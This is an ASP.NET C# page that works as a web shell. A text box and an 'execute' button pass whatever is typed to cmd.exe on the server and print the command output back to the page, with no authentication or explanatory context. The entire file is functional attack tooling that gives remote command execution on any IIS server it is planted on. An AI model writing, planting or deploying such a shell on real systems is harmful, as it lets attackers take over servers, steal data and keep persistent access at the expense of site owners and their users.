<%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.Web" %> <%@ Import Namespace="System.Web.UI" %> <%@ Import Namespace="System.Web.UI.WebControls" %> <script runat="server"> protected void exec(object sender, EventArgs e) {     string item = cmd.Text;     Process p = new Process();     p.StartInfo.FileName = "cmd.exe";     p.StartInfo.UseShellExecute = false;     p.StartInfo.RedirectStandardInput = true;     p.StartInfo.RedirectStandardOutput = true;     p.StartInfo.RedirectStandardError = true;     p.StartInfo.CreateNoWindow = true;     string strOutput = null;     p.Start();     p.StandardInput.WriteLine(item);     p.StandardInput.WriteLine("exit");     strOutput = p.StandardOutput.ReadToEnd();     p.WaitForExit();     p.Close();     Response.Write("<pre>");     Response.Write(strOutput);     Response.Write("</pre>"); }     protected void Page_Load(object sender, EventArgs e)     {     } </script> <form id="form1" runat="server"> <asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" /> </form>